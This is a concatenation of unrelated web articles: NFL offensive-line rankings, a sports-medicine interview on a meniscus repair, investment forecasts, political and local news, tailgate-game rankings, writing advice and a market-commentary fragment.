Hudson simply does not get the credit he deserves, but is a key component on the best interior OL in football. Hudson has eased the transition of Gabe Jackson from left-to-right guard, and excels in every area of the game.
Right Guard:
Zack Martin – Cowboys
For my money, the best overall OL in the NFL. No other interior OL makes the game look easier than Martin, who plays with a precision and mastery of the nuance of run and pass blocking that is otherworldly, especially considering he is just 26-years-old. Coming into the NFL out of Notre Dame polished allowed him to hone in on fine-tuning his game, resulting in a sure-fire path to being the highest paid OG in history, and a Hall of Fame bust barring injury.
Marshal Yanda – Ravens
Much like the Frederick/Mack discussion, I feel the same Yanda and Martin are interchangeable. Yanda is a virtual lock for the Hall of Fame, with 133 starts over 10 seasons, and unequaled versatility for an OG. Yanda plays with a tremendously consistent base and balance that he uses to stone interior DL at the POA in pass protection, rarely being moved off his spot. Through violent, precise hand usage and incredible use of leverage to sustain, steer, and control defenders there is very little he can’t do. In 2016 Yanda filled in and started at RT, LG, and RG, plus has filled in at RT in previous seasons, all at an extremely high level. The term ‘football player’ can be a bit ambiguous, but Yanda’s blend of toughness, technique, understanding of leverage, and smarts is an excellent representation:
Yanda the OG filling in at RT, no big deal? pic.twitter.com/LPZVtNqfhp — Brandon Thorn (@VeteranScout) June 15, 2017
Yanda’s jump set ends the fight on the spot. Explosive out of his stance, violent w/hands, great base/balance to sustain. LT look for work? pic.twitter.com/uAP6mVygMl — Brandon Thorn (@VeteranScout) June 15, 2017
T.J. Lang – Lions
This is the most competitive position on the list, with names like Gabe Jackson, Brandon Scherff, Trai Turner, and Kevin Zeitler warranting consideration. Lang is the most polished of them all both in the run and pass game, with a jump set and power in his strikes that set him apart from the pack. Lang is aesthetically pleasing to watch, playing with a textbook stance that facilitates efficient movement from snap-to-finish.
Right tackle:
Bryan Bulaga – Packers
I thought Bulaga played more consistently than any RT in the NFL last season and did it spending the majority of his time on an island. Bulaga is fundamentally sound in his pass set, reaching his spot with excellent posture and balance, smoothly adjusting and expanding his set points against speed rushers and has the posterior strength to anchor down and halt speed-to-power. In the run game he shows very good play strength and mobility to get underneath DL on the first level, with a savvy ability to overtake and release off of double teams and combo blocks. While there may not be a single elite trait to his game, there are several good and very good ones built upon each other, resulting in an extremely consistent product on the field. At 28-years-old, Bulaga is in the middle of his prime with no signs of slowing down.
Lane Johnson – Eagles
Johnson is a LT playing RT. His size (6’6”, 305) and length (35 ¼” arms) are prototypical, and his athletic measurables at the combine were spectacular (2nd best 40-yard dash since 2006 at 4.72, 34” vert, and the best broad jump since 2006 at 9’10”). Most impressively, Johnson’s raw athleticism translates to play speed. Johnson is explosive and efficient out of his stance with the quickness and processing to win the half-man relationship against all levels of competition. Additionally, Johnson demonstrates the explosive power and mobility in his hips and hands to win with superior pad level, creating leverage with his hands, and delivering a jolt at the POA that can stun DL, allowing him to sustain, steer, and control with good hand usage. The sky really is the limit for him at either LT or RT, but he missed 10 games in 2016 due to suspension and needs to stay clean to fulfill his potential.
Mitchell Schwartz – Chiefs
Schwartz is the leader of the Chiefs OL through his experience, reliability, consistency, and production. After being rolled up on against the Texans early in the season Schwartz dealt with lingering leg issues, but finished the year extending his streak of zero missed snaps or games (80 straight) in his career, increasing his reputation for being one of the toughest OTs in the NFL.
Schwartz’s vertical set in pass protection is one of the more crisp and consistent in the entire league, masking his average overall athleticism with good initial explosiveness to get out of his stance, hit his landmarks, and maintain the half-man relationship. In addition, he demonstrates the patience and hand placement necessary to win leverage at the POA, utilizing independent hand usage when appropriate to alter the rusher’s center of gravity and balance, limiting the rusher’s ability to string together moves. This results in him rarely falling off of blocks, instead sustaining and running rushers past the QB, often creating room for the QB to hitch up into the pocket to avoid the rush:
Mitchell Schwartz was on point against the 49ers. So good in his vertical set to beat the rusher |
: What is Westbrook's ceiling? Can he get back to 100%? Is it going to be something less than that?
Dr. Geier: I think the goal is to get the stitches to heal to create a completely normal meniscus. The goal is a normal knee. That's going to be one of the questions going forward - did the meniscus actually heal? We know that when you do surgery and put the stitches in, to get it to heal, that's got good success rates, but it's not 100%. The goal is to make it a completely solid meniscus. But they will follow it over the next 4-6 months. Different studies have the fail rate of the meniscus repair at different numbers, but some studies have it at 25% or even higher. That's where a lot of the restrictions come from, trying to minimize the chance that you've done that surgery to sew it back together and the stitches don't hold. The meniscus has very little blood supply, that's why they don't heal in the first place without surgery. But it's thought to be a reason why meniscal repairs don't heal. So that's something to keep an eye on over the next 3-6 months.
WTLC: What are some of the most important things for an athlete like Westbrook in order to make sure his rehab goes according to best possible case scenario? Is it psychological, is it just listening to the doctors?
Dr. Geier: It's kind of both, but different elements at different points in the rehabilitation. Early on, it's to be absolutely in compliant with whatever the restrictions that the surgeon placed on him. Some of that depends on where the tear was and things like that. But if the doctor says 'no weight-bearing,' then there is no weight bearing. If it is limiting the motion to 90 degrees and not bending past that. It would be things like that, and not doing too much too soon. You would not try to rush back through this. You would make sure you follow all the protocols. Because the restrictions are going to be based on whatever is most likely to get the meniscus repair to heal. But then you get further on and the doctor is more comfortable that the repair is going well then it's working really hard to get motion and strength back, and getting back to basketball shape.
I think the goal is to get the stitches to heal to create a completely normal meniscus. The goal is a normal knee. That's going to be one of the questions going forward - did the meniscus actually heal? -Dr. David Geier
In my case, meniscus repair, I could get back to daily exercise and activity and it wouldn't be a big deal, but I'm not trying to the NBA, so getting the strength back at an elite level to be able to cut and pivot is quite a different thing.
WTLC: When Westbrook is finally cleared to get back into game shape, what is the most important thing for him to do to get back to the level he wants to be at?
Dr. Geier: I think working really aggressively on strength and functional training, they'll work a long time in physical therapy on balance and high level jumping ability, landing on one foot. But then a lot of it is just the status of his knee and what the surgeons found. Some of it is under Westbrook's control, some of it is not. If all goes well though, you'd expect him to be back to the same level he was before he got hurt.
WTLC: Are you seeing any increase in athlete knee injuries We seem to have a rash of them lately, with Ricky Rubio, Derrick Rose, and now Westbrook. Is there a trend?
Dr. Geier: I think there is an increase overall simply because of more people playing, especially youth athletes. I think you have to be leery of saying there is a trend in any one sport because we tend to be too close to it to see if there is a sudden rise in a specific type of injury for 5-6 years when you can compare the data over long periods of time. Two years ago there was a huge spike in Achilles tendon ruptures in the NFL during pre-season, but really it was just a blip on the radar in the grand scheme of things. I don't think there is anything worrisome going on.
In the NBA though, these guys are as big and fast and strong as they ever have been plus defenses are getting much more physical. What they put their bodies through is as strenuous as it ever has been. With the physical defenses you start to worry it could have an effect, not just on knee injuries but injuries in general. You might see more overuse injuries and hamstring strain injuries, and overuse muscle injuries, things like that. It could lead to more traumatic events as well. That's something we're not going to know for a while though when we can see at a distance the statistics year to year. It's a more physical sport than it used to be, but I don't know that I would look at the last 12 months and say that there's any reason for concern. These guys are getting hurt with different types of injuries with different motions. I would caution to say this is some sort of epidemic. Could it be a gradual increase with the changes in defenses over time and the physicality of the sport? Definitely.
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Many thanks to Dr. Geier for his thorough explanation of Westbrook's injury, what his recovery will look like, and what similar athletes may face in the future as they deal with knee injuries.
Dr. Geier can be followed at:
www.drdavidgeier.com
Twitter: @DrDavidGeier
Facebook: facebook.com/DrDavidGeier
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First meniscus image via www.aurorahealthcare.org
Image of suture and meniscal anchor via www.drdavidgeier.comSAN LUIS OBISPO, Calif. (MarketWatch) — The global economic crisis will not end till 2016 or later, warns IMF Chief Economist Olivier Blanchard.
It will take “at least a decade from the beginning of the crisis for the world economy to get back to decent shape,” Blanchard said in a recent interview in Europe, according to a Reuters report.
“It’s not yet a lost decade,” Blanchard said, “but it will surely take at least a decade from the beginning of the crisis for the world economy to get back to decent shape.”
No matter what, you can forget about a 2013 quick fix for America’s fiscal-cliff disaster. Won’t happen.
Slow growth will dominate most of the rest of this decade.
That pounding hangover will still be with us during the 2016 elections, echoing GMO’s Jeremy Grantham’s “Seven Lean Years” forecast “that it is unrealistic to expect to overcome the several problems facing most developed countries, including the U.S., in fewer than several years.”
The IMF economist surveys developed and developing nations, our fiscal cliffs plus world problems across the euro zone, China, Japan and more and it adds up to a slow global economic recovery. But while many nations are already working on debt-crisis resolutions, critics fear extreme austerity policies at this time could deepen problems.
As Blanchard put it, again according to Reuters, debt reductions are “unavoidable, but it should be done without stifling growth, walking on a narrow middle path.”
“If you do it too slow, the market thinks you’re not serious, if you do it too fast, you kill the economy. For each country you have to find the right path of consolidation,” said the IMF’s chief economist. “You can have an economy in which inflation is stable and low, but... the financial system accumulates risks.”
13 best bets for investing in a bear market world: 2013-2018
A question you hear often is: What would economist Gary Shilling and his partner Fred T. Rossi recommend? Why? Because they are straight-shooting, unbiased, research-oriented contrarians who aren’t caught up in the news-of-the-day hoopla. Shilling’s Insight newsletters are essential reading. He’s been a respected Forbes columnist for a few decades. He focuses on the long-term macro issues.
And, like Blanchard, he has been warning us that “much of the excesses and financial leverage built up in past decades, especially in the financial sector globally and among U.S consumers, remain to be worked off.”
Why? The Fed and Treasury’s failed “attempts to bail out the nearly collapsing U.S. private sector” just made matters worse by focusing on bank bailouts rather than jobs. What’s ahead? “Slow global growth in future years.” Not just a temporary, bear-recession dip. But a “deeper depression-style slow-growth likely till the election of 2020.”
Shilling sees beyond today’s lingering hangover of the 2008 banking meltdown, the election wake-up call to corporate CEOs and conservative politicians still demanding deep austerity cuts to solve the debt crisis, and the looming fiscal cliff. Looking years ahead, he warns of ongoing troubles through 2020 as the recovery inches slowly ahead.
He holds steady with his investment recommendations and says the “election does not change our outlook or the ongoing deleveraging taking place.”
So if you a rational investor planning ahead to 2013 and beyond, consider these recommendations. First, six favorable “buy” targets. Then Shilling/Rossi’s seven unfavorable “sell or short” investment themes:
1. North American energy boom
Shilling says Americans “like conventional energy investments including natural gas, on- and offshore drilling and Canadian oil sands... natural-gas prices appear to have bottomed... pipelines are attractive... new nuclear facilities may be postponed in the wake of the earthquake and tsunami in Japan... renewable energy is problematic since it depends heavily on unpredictable government subsidies.... Ethanol suffers from drought-sired corn price leaps.”
The idea of a domestic energy boom was reinforced recently when the International Energy Agency published its annual World Energy Outlook: New fracking technologies mean “oil output is poised to surpass Saudi Arabia’s in the next decade, making the world’s biggest fuel consumer almost self-reliant and putting it on track to become a net exporter.” Environmentalists and municipalities impacted by fracking will likely test this macroeconomic forecast.
2. Income-producing securities
“Many investors favor income over problematic capital gains,” including “utilities, drugs and telecoms with high, safe and rising dividends.” Nevertheless, all stocks are vulnerable to a bear market. He also likes investment-grade corporate and municipal bonds.
3. Treasury bonds
Shilling sees Treasurys “as a safe haven in a sea of trouble and in response to slowing economic growth and looming global recession. The likelihood that inflation fears will turn soon to deflation worries also helped. The yield on 30-year Treasurys actually reached our 2.5% target, the 2008 post-Lehman low, in early June. A 2.0% yield is possible as economic and financial conditions deteriorate.”
4. The dollar vs. the euro and Australian dollar
He also see the dollar Index as “the world’s safe haven,” because the euro-zone crisis lingers and its recession deepens. And with Australia now “a captive mineral supplier to faltering China,” its dollar is in focus.
5. Rental apartments
Yes, they’re looking great for folks who either can’t afford to buy a home or are “discouraged by falling house prices.” Stock prices may be high but there are opportunities in direct ownership.
6. Medical office buildings
Opportunities here as postwar babies age, Obamacare kicks in, physicians leave private practice to work for hospitals, all of which will “promote robust, steady growth” here, although “government regulations can be disruptive.”
Here are the seven investment sectors to consider selling and shorting
1. U.S. major and regional banks
Big banks are having big troubles: “Proprietary trading and other profitable activities and are being busted back to less-lucrative spread lending,” while regional banks suffer from “weak loan demand and bad real estate loans.”
2. Developing-country stocks
China’s economy is faltering, GDP slowing, hard landing in motion. Emerging country exporters vulnerable to global economic weakness.
3. Developed-country stocks
China’s “hard landing” is having a negative effect on “commodity exporters, a major recession in Europe and a strong dollar” warns Shilling, hurting earnings of U.S. multinationals. America’s recession will also damage profits, along with cost-cutting. Shilling sees an “$80 per share in S&P 500 operating earnings over a coming four-quarter period and a bottom P/E of 10.”
4. Commodities
The great commodities bubble started to deflate in 2011 due to the global recession and looming hard landing in China. Copper is way down and excess inventories are building in China.
5. Junk securities
Shilling sees the global recession spreading, and “despite pre-borrowing from yield-hungry investors,” default rates will increase, junk prices will fall.
6. Home builders
During the Money Show a few months ago Shilling told Howard Gold that the global recession was spreading from Europe and China and “has already hit our shores.” As a result, prices will “tumble,” hurting home builders in 2013.
7. Your home, second home or single-family investments
Shilling warns that inventory increases are “likely to push prices down another 20% over the next several years.”
Personal note
The Shilling-Rossi team was hit hard by Hurricane Sandy: Their offices in New Jersey and New York have been closed, “without electric power, heat and telephone service... as our staff has been tending to hurricane-related damage at their own residences while doing what we can to maintain, where possible, some skeletal operational capability from their own homes.”
Our thoughts go out to all of them, with prayers for a quick and successful recovery. We also encouraged by signs that Gary’s bee farm is surviving through all the challenges in recent years; various diseases, colony collapse disorder and a recent bear attack. God be with all of you all.NATIONAL HARBOR, Md. — Sen. Marco Rubio steered well clear of immigration reform in his speech to a gathering of conservative activists at the annual Conservative Political Action Conference, opting to stick to bread-and-butter attacks on climate change and marriage equality.
Rubio's decision to not mention immigration reform is particularly remarkable given the fact that it has become a central part of his work in the Senate.
But the 2016 presidential aspirant clearly knew his audience: Activists at the CPAC conference are generally skeptical of the kind of comprehensive immigration reform that Rubio is working on with a bipartisan group of senators.
Instead, Rubio stuck to crowd-pleasing attacks on liberals and a full-throated defense of conservatives.
"Just because I believe states should have the right to define marriage in the traditional way does not make me a bigot," Rubio said to applause, adding, "the people who are actually close-minded in our society are the ones who love to preach about climate science and refuse to believe the science that life begins at conception."Image 1 of / 10 Caption Close
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Image 3 of 10 Self explanatory Self explanatory
Image 4 of 10 Al Jazeera's logo - simply the network's name in elegant Arabic calligraphy - is far better than Ted's burning flag. Al Jazeera's logo - simply the network's name in elegant Arabic calligraphy - is far better than Ted's burning flag.
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Image 6 of 10 Like the authorman said Like the authorman said
Image 7 of 10 Turns out "liberty" is pretty subjective when it comes to both hyper-religious universities AND presidential candidates who inflict themselves upon them Turns out "liberty" is pretty subjective when it comes to both hyper-religious universities AND presidential candidates who inflict themselves upon them
Image 8 of 10 Even Liberty students were all, like, to hell with this Even Liberty students were all, like, to hell with this
Image 9 of 10 "I know! I'm as baffled as anyone as to how I got this far!" "I know! I'm as baffled as anyone as to how I got this far!"There are some things we all agree on: The tank was good, the Patriot Way is a pile of crap, and of course that fall is the truly elite season. Where do we find our differences? In how we tailgate.
Some do the Dizzy Bat Thing.
Some jump through tables.
And some dress as Hulk Hogan and leg-drop a guy in the opposing jersey on top of a Bills bus each week.
Video of Bills army hulk hogan vs bucs fan
But when it comes to the games that are for everyone... we know how it all shakes out. So without further ado, I present to you, the Tailgate Game Rankings.
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Last damn place - Ladder Golf
No one likes Ladder Golf. I mean no one REALLY likes Ladder Golf, right? At least not for a consistent amount of time. It’s fine to have around, but no one has ever said “Hey, make sure Joe brings his ladder golf set”. It looks like it might be a fun time, but then you actually play it and you feel very stupid throwing these two fake golf balls tied together with rope onto that ladder thing. It passes for a game. It’s not fun. It’s on par with chronicling state license plates on a long drive.
Pros: It’s a game.
Cons: Not very fun.
9.) Washers
Most tailgating games are going to come in a format of one side vs. another with some sort of throwing back and forth. Washers can be a good time with the right crew. It’s easy to explain, you get fun bounces, and it rewards accuracy.
Pros: Perhaps the most portable tailgating game. Easy for all ages, and just about anyone can be competitive.
Cons: Finding the washers on pavement isn’t always easy. In this family of games, it lacks some of the fun of the others.
8. ) Stump
I’ve only played Stump once, but I want to give it a full go sometime. A hammer, some nails, and drinking. Sign me up.
Pros: Getting strangers to take a whack at the stump
Cons: Requires a stump, and I don’t know where those are sold
7.) Playing Catch
An old staple of the parking lots. Throwing a football around with your friends, or your kids, is always a good way to warm things up. It’s tradition. It stands up to most weather scenarios as well.
Pros: Reminds everyone you’re at a football game
Cons: The inevitable calamity that ensues when an overthrow hits a stranger’s car and you have to awkwardly go retrieve it and, as loudly as possible, blame the person that threw the ball.
6.) Polish Horseshoes
Also known as Beersbee, or probably a thousand other names, Polish Horseshoes is one of our games that gets docked a few points because you need proper conditions. If you’ve never played it, PH includes stacking a beer bottle on a pole, and throwing a frisbee to try to knock it off. PH has arguably the best catches, reactions, and interaction of any of the tailgating games. You can get some epic catches, and some incredible games out of it. Sets that you buy tend to be flimsy. I love Polish Horseshoes, but for tailgating, it’s not top-5.
Pros: Highlight reel plays
Cons: Can’t play with any wind
5.) Kan Jam
Wait. STOP. Don’t be mad. NO. Stop. Hear me out.
Kan Jam is a lot of fun, but has two main problems when it comes to tailgating. Much like Polish Horseshoes, you’re at the mercy of the weather. A windy day means no Kan Jam. Then there’s another problem… you can actually be TOO GOOD at it. Kan Jam is like bowling, in that it can be perfected. It’s got a little tic-tac-toe, or Connect Four to it, where… if you’re really good you shouldn’t ever loose. It’s one repeatably motion again and again. To battle this, beer-in-hand Kan Jam would be my recommendation. It’s a great tailgating game, but I rarely find that a large group wants to keep rolling with it and keep playing. Great game. Fun for all. Not the best tailgating game.
Pros: Local product. Fun scoring system. Beer in hand.
Cons: Weather-dependent, not conducive to larger groups, lots of space needed, wayward frisbees, friends that can’t throw frisbees don’t fit in.
4.) Beer Ball
I gave serious thought to putting Beer Ball #1. I really wanted to. On it’s own, it’s probably the purest game. It’s a drinking game at it’s root level. Throw a ping pong ball at a beer can and chug beer. Those are the rules. You get to dive after ping pong balls. You drink your own beer in order to win (key for anyone that is playing a drinking game and actually hoping to drink a beer), and it’s a fast game. Beer ball is a 4-person tour de force. Staying on the table for the entire day is tough because most people are just going to want a break if they win. This leads to solid roster turnover. The game is great, but it’s all-over-the-place nature can get you into some trouble.
Pros: Little equipment required, mild potential to move around and consider it exercise, winners drink.
Cons: Ping pong balls more likely to get smushed, potential to get hit by cars or knock over grills.
3.) Beer Pong
Come on. It’s elite. Beer pong has thousands of variations that can help keep it fresh. My wife’s family plays a hybrid version of pong/cups called Beer Relay. There's CIVIL WAR Beer Pong in all 53 of its own forms. You’ll need a table, and those can be in short supply with the number of Bills fans going through them these days.
Pros: It’s fun to play, and decent to watch
Cons: Losers drink, while winners sometimes have to have a side beer ready. Wind can kill a game.
2.) Flip Cup
Fun fact - I lost approximately ONE game of Flip Cup in four years of college*
*We always played two out of three, and I teamed up with two of my roommates to hold down the title for all four years, only losing it for about 10 minutes in our junior year.
Flip Cup > Beer Pong.
That’s it.
It just is.
Pros: Team play, unlimited numbers available, variations on the game, winners drink.
Cons: Wind? I’ve used wind for a “con” a few times but these games are near perfect.
1.) Cornhole
The king of the tailgate, is Cornhole. It’s the easy-drinking, fun-for-all-ages game that can still get mega-competitive at the highest level. If someone has a corn hole set, you try to get them to your tailgate. Custom sets are a great offseason gift. You go to a Bills game ready to debut the new set that you bought, or made, or painted. Cornhole is the game of beer gardens around the world. When I went to Alaska in 2012, we stopped at the 49th state brewery. They had a cornhole field? (Set? Pit? Pitch? Run?) Whatever… there was cornhole, and within minutes we started a game with a couple guys that were from Germany and South Africa. Cornhole is the game of our world. It’s the best tailgate game we’ve got.
Pros: Anyone can play, your boards can tell people who you are, there’s no sweating, stands up to all weather, can watch a football game while playing, can play and visit with friends or strangers at the same time.
Cons: None.
Long Live Cornhole. Happy Tailgating! See you out there.
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@JeremyWGRIs the utterly incomprehensible legal battle between Marty Walsh and Steve Wynn finally headed for some kind of sensible conclusion? Such an outcome, while welcome, would certainly defy the odds, given the history between the parties.
But since earlier this month, when the city’s suit to block Wynn’s $1.7 billion casino was tossed by a Suffolk Superior Court judge, Walsh has seemed increasingly eager to find a way out of the morass he created for himself. He has even talked with Wynn face to face about “common goals,” calling recent meetings between the feuding sides “productive.”
That the city was in a weak legal position has long been evident to almost everyone outside Walsh’s inner circle. Sure, traffic in Charlestown’s Sullivan Square is already lousy. But that wasn’t enough to support the city’s conspiracy-theory arguments that Wynn’s casino permit was illegally granted. The inflammatory rhetoric in the complaint couldn’t disguise its hollow legal reasoning.
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In the days after the court’s rejection of the suit, Walsh continued to talk tough, implying that the city might appeal. Thank goodness, he appears to be coming to his senses. The lawsuit has cost taxpayers well over $1 million. The city won’t say how much it has paid to outside counsel Thomas C. Frongillo. Appealing would be fiscally irresponsible.
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Walsh’s defenders will argue that the legal action was really about forcing as much as possible in concessions. There may be some truth to that. But it’s hard to see how this suit has strengthened the city’s hand in any way. Looking foolish is no way to gain leverage.
Equally worrisome are the questions the lawsuit raises about the advice Walsh is getting. Clearly, people he places great trust in thought a frivolous lawsuit was an inspired strategy. The mayor needs better advice, fast.
The court decision isn’t the only reason pressure is mounting on Walsh. The business community wants the battle to end. Walsh’s friends in organized labor are eager to build the casino, a project that will employ hundreds. Walsh keeps saying he’s fighting for the people of Boston, but the people who want him to wage this fight are shrinking in number. It’s becoming an unwinnable war with no convincing rationale.
The big sticking point — now that it’s pretty clear the casino is going to get built — is how to fix the traffic in the area. That won’t be easy, but it’s not insurmountable either. It’s largely a question of engineering and money.
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Help may come, unexpectedly, from an unlikely source: Washington. Congress passed a bill earlier this month that will send $1 billion a year in transportation funds to Massachusetts for the next five years. Passed partly through the efforts of Congressman Michael Capuano, the bill will deliver about $600 million a year to the state for improving surface roadways just like Sullivan Square.
Simply put, it’s time for the mayor to stop posturing and make the best deal he can get.
Walsh got lucky on the Olympics, a battle in which he claimed victory for the people of Boston at the last minute, conveniently ignoring his longstanding support for the failed bid. This debacle will not be so easily spun.
And once the future of Sullivan Square is sorted out, Walsh could do worse than to think about how he got here, mired in a fight he was never going to win. Halfway through his first term, he remains an extremely popular mayor. But thumping defeats won’t help him stay that way. He keeps saying he’s standing up for Charlestown, but the reality is that he’s never looked weaker.
Adrian Walker is a Globe columnist. He can be reached at walker@globe.com. Follow him on Twitter @Adrian_Walker0 Share with your friends Submit
RIGA, Latvia: Delhi was sizzling hot even in the middle of the night when His Holiness the Dalai Lama boarded a plane for Europe yesterday. After a comfortable flight, with a short stopover in Frankfurt, where the temperature was 0°C, he flew on to Riga, capital of Latvia, one of the three Baltic States. Cloud hung low over Riga and the roads were wet with recent rain, but he was warmly welcomed at the airport by members of ‘Save Tibet – Latvia’ and ‘Save Tibet – Russia’ and their spiritual director Telo Tulku.
Members of the Press asked His Holiness if he had any comment to make seeing that today is the Restoration of Independence Day. On 4th May1990 the independence of the Republic of Latvia, which had been originally proclaimed in 1918, was restored. He answered:
“I would like to express my greetings and congratulations to you. I think it’s encouraging to note how things changed between the early and later parts of the 20th century. In 1996, I met the British Queen Mother, who was then 96 years old and so had observed almost the whole 20th century in the course of her life. I asked her if she felt the world was the same, had got worse or had got better. Without hesitation she said it was better. She said that when she was young there was no concept of self-determination or human rights and yet today these are accepted as universal. In many parts of the world there is greater freedom. Nevertheless, within the family of 7 billion human beings we still need to make an effort to improve respect for human rights whatever superficial differences there may be between us. And in this connection I believe that sometimes smaller nations like the Baltic States can be more effective and take the lead.”
Turning to burly writer and philosopher Arnis Ritups, who he has met before, His Holiness asked how he was feeling. Ritups replied that he felt weakness. And when His Holiness wanted to know why told him because he has so many stupid thoughts.
“I agree,” His Holiness responded, “too often we are entangled in short-sightedness. We need to adopt a more far-reaching view. We forget our basic human values. If we want to live in a better world, who do you think is going to bring it about? Only we human beings. Such change won’t come about as a result of government or UN action, but at the initiative of individuals. What we need is confidence and determination.”
His Holiness is in Riga to give two days of teachings on the ‘Heart Sutra’ and the ‘37 Practices of Bodhisattvas’, which will begin tomorrow at the Kipsala International Exhibition Centre.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 20, 2016, 1:31 PM GMT / Updated April 20, 2016, 1:31 PM GMT By Erik Ortiz
Just over half of Americans live in a county with an unhealthy level of polluted air, a new study finds — and it's even worse if you call California home.
The Los Angeles-Long Beach area tops the list compiled by the American Lung Association for the most ozone-polluted area in the nation. That's just ahead of other metro regions in the Golden State: Bakersfield (No. 2), Visalia-Porterville-Hanford (No. 3) and Fresno-Madera (No. 4).
A view of the Los Angeles city skyline as heavy smog shrouds the city in California on May 31, 2015. MARK RALSTON / AFP-Getty Images file
Bakersfield, meanwhile, is No. 1 for most-polluted city by year-round particle pollution and most polluted for short-term particle pollution.
Across California, an astounding eight out of 10 residents — 32 million people — live in counties with unhealthy levels of ozone or particle pollution some time during the year, according to the "State of the Air" report, which uses U.S. Environmental Protection Agency data for three years ending in 2014.
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Some 166 million Americans — or more than half of the total population — are in unhealthy hot spots with air pollution that puts them at risk for premature death and health issues such as lung cancer, asthma and cardiovascular damage, the study says.
The use of cleaner power plants and vehicles has helped to ease some ozone and year-round particle pollution, said American Lung Association CEO Harold Wimmer.
Even Los Angeles achieved its best overall air quality score since the report was first issued in 2004. But clean air advocates worry the measures are not enough.
"Climate change has increased the challenges to protecting public health," Wimmer said in a statement. "There are still nearly 20 million people in the United States that live with unhealthful levels of all three measures of air pollution the report tracks: ozone, short-term and year-round particle pollution."
In Februrary, the Supreme Court temporarily halted enforcement of the Obama administration's Clean Power Plan to cut greenhouse gas emissions from power plants — as 30 states are challenging it and say it's an arduous requirement for the plants to adopt.
Related: Supreme Court Blocks Enforcement of Air Pollution Rule
Wimmer called on states to embrace the federal plan in the meantime as the court straightens out the issue.
Despite areas burdened by ozone and particle pollution, the report cited a handful of places in America where people can breathe easier about their air.
Four areas — Burlington-South Burlington, Vermont; Elmira-Corning, New York; Salinas, California; and Honolulu — qualified for the "cleanest cities" list.
"We simply must do more to protect the health of Americans," Wimmer said.CHICAGO — HOW can we reduce the enormous populations of our country’s local jails?
Last month, Mayor Bill de Blasio of New York unveiled a plan to decrease the population of the Rikers Island jail complex by reducing the backlog of cases in state courts. About 85 percent of those at Rikers haven’t been convicted of any offense; they’re just awaiting trial, sometimes for as long as hundreds of days.
Mayor de Blasio’s plan is a positive step. Yet it ignores a deeper question: Why are so many people — particularly poor people of color — in jail awaiting trial in the first place?
Usually, it is because they cannot afford bail. According to a 2011 report by the city’s Independent Budget Office, 79 percent of pretrial detainees were sent to Rikers because they couldn’t post bail right away.
This is a national problem. Across the United States, most of the people incarcerated in local jails have not been convicted of a crime but are awaiting trial. And most of those are waiting in jail not because of any specific risk they have been deemed to pose, but because they can’t pay their bail.Although Microsoft's brought over other Xbox One exclusives to the PC of late (Gears of War, Quantum Break), the company’s been pretty adamant that Halo 5 won’t make it over. Or...will it? Today, the folks at 343 Industries announced that Halo 5 ‘s “Forge” map editor will come to Windows 10 later this year.
No, still no word on Halo 5 proper.
Anyway, this standalone editor is dubbed Forge – Halo 5: Guardians Edition, which is quite a mouthful. It includes keyboard and mouse support, plus the ability to edit/play in up to 4K.
Speaking of which: You can, indeed, play Halo 5 multiplayer with this, sort of. From the blog post: “Enlist the help of Friends to help build, test, and play your Forge creations on Windows 10.” That sounds pretty definitive, so at least we’ll have a custom map bonanza to mess around with.
Why this matters: Smart money is on an imminent Halo 5 PC Edition announcement. Maybe at a massive event like, oh I don’t know—E3 next month? I’m not saying it’s going to happen: Microsoft still wants to sell Xbox Ones, and Halo is an easy ace. But at this point, all the heavy lifting (or at least a lot of the heavy lifting) has been done in order to port Forge over, and the one-year delay ensures most people who wanted the game on the Xbox already bought it. A port is easy money. We’ll keep an eye out.This has been an exciting year for me, full of surprises. Perhaps most surprising is that people have started to ask me for advice on writing. It seems a bit like asking a first-time pregnant woman, “What’s it like to raise a toddler?” I’m only in my second trimester when it comes to writing: I have yet to be published in book form and I still mix up the subjunctive “were” and “was”. Besides, there’s not much I can say that George Orwell, Kurt Vonnegut, and so many others haven’t already said (make writing a habit, cut any unnecessary words or lines, make every character want something, etc.) But I’ll try to share some of the advice and guidelines that have helped me.
Don’t put it on the Internet.
At least, don’t immediately put it on the Internet. Learn how to write first, how to make mistakes and fix them, how to write what Anne Lamott rightly calls “shitty first drafts.” You need to learn to write for yourself before you write for others.
I long resisted getting a blog: friends would read my funny Facebook statuses and ask why I wasn’t blogging. My response was always the same: “Because I want to be a writer, not a blogger.” Pretentious as I might have sounded, I stand by what I said, because I believe blogging is different than writing. Blogging is something one does for instant gratification (and I’m not “above” this, look at how often I tweet), while writing is a long, often difficult process that is ultimately more rewarding for you and the person reading it. Your raw, unfiltered status updates might be funny to you and some friends, but the rest of the world won’t like it or care. Coffee grounds and water do not make coffee: it must be filtered.
As I’ve said, I take a lot of time with each post. I always reread and edit several times before I post, and often I’ll run the idea by a friend or family member first. I have some entries I will never post, simply because they’re too personal or just not very well-written. This has saved me an enormous amount of grief and frustration, and I’m sure the people reading it appreciate it more, too. It’s true that putting one’s writing on the internet can get one “noticed,” but my suggestion is to use the internet as a springboard. (Most of my friends who’ve achieved some measure of internet celebrity have done this, going on to write books or make films.) Let it propel you into real life.
So, learn to write first. Then write something. Then re-write it. Then read it. Then re-read it. Then put it online, or don’t.
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he has never found there to be an equilibrium.
And Grice warns that’s true of markets. A lender might take a chance on a borrower, who then repays, thus strengthening the confidence of the creditor, who makes more loans. Further repayments inspire an abundance of loans until the borrower overborrows and defaults, thus making lenders reluctant to lend.
The lender’s solution to low trust is high yields. Grice notes that yields today are at all-time lows, indicating high trust that is vulnerable to the world’s trust busters.
As a demonstration of the rise of non-cooperators, Grice cites Japan’s Prime Minister Shinzo Abe, who posed, gloating, in a jet with the numbers 731, understood by Chinese viewers as code for a World War II unit that conducted chemical and biological experiments on Chinese prisoners.
“Imagine Angela Merkel flying around the Mediterranean on a fighter plane with a swastika on it,” is how Grice described the provocation.
In financial markets today, we see a rising breakdown in trust in the credit deflation in the U.S. that gave rise to Occupy Wall Street; in a rise in capital controls in various countries; and citing China’s credit bubble, Grice asks: “What’s going to happen when credit deflation hits China,” a country he notes is prone to revolutionary instability.
So what’s a worried investor to do?
Cash and gold for starters. Cash gives an investor “optionality,” and Grice calls gold the “ultimate hard currency,” as it is “the oldest way to save in the history of our civilization.”
While the portfolio Grice manages for his family office contains both, he also advocates owning “necessities and natural monopolies” (as opposed to government monopolies) and capital-efficient businesses.
He cites eBay (a stock he does not own) as an example of a natural monopoly in that “it has the characteristics of an exchange; it serves as a hub,” he says.
“They’ll still go down in a bear market, but they’re on high ground.”
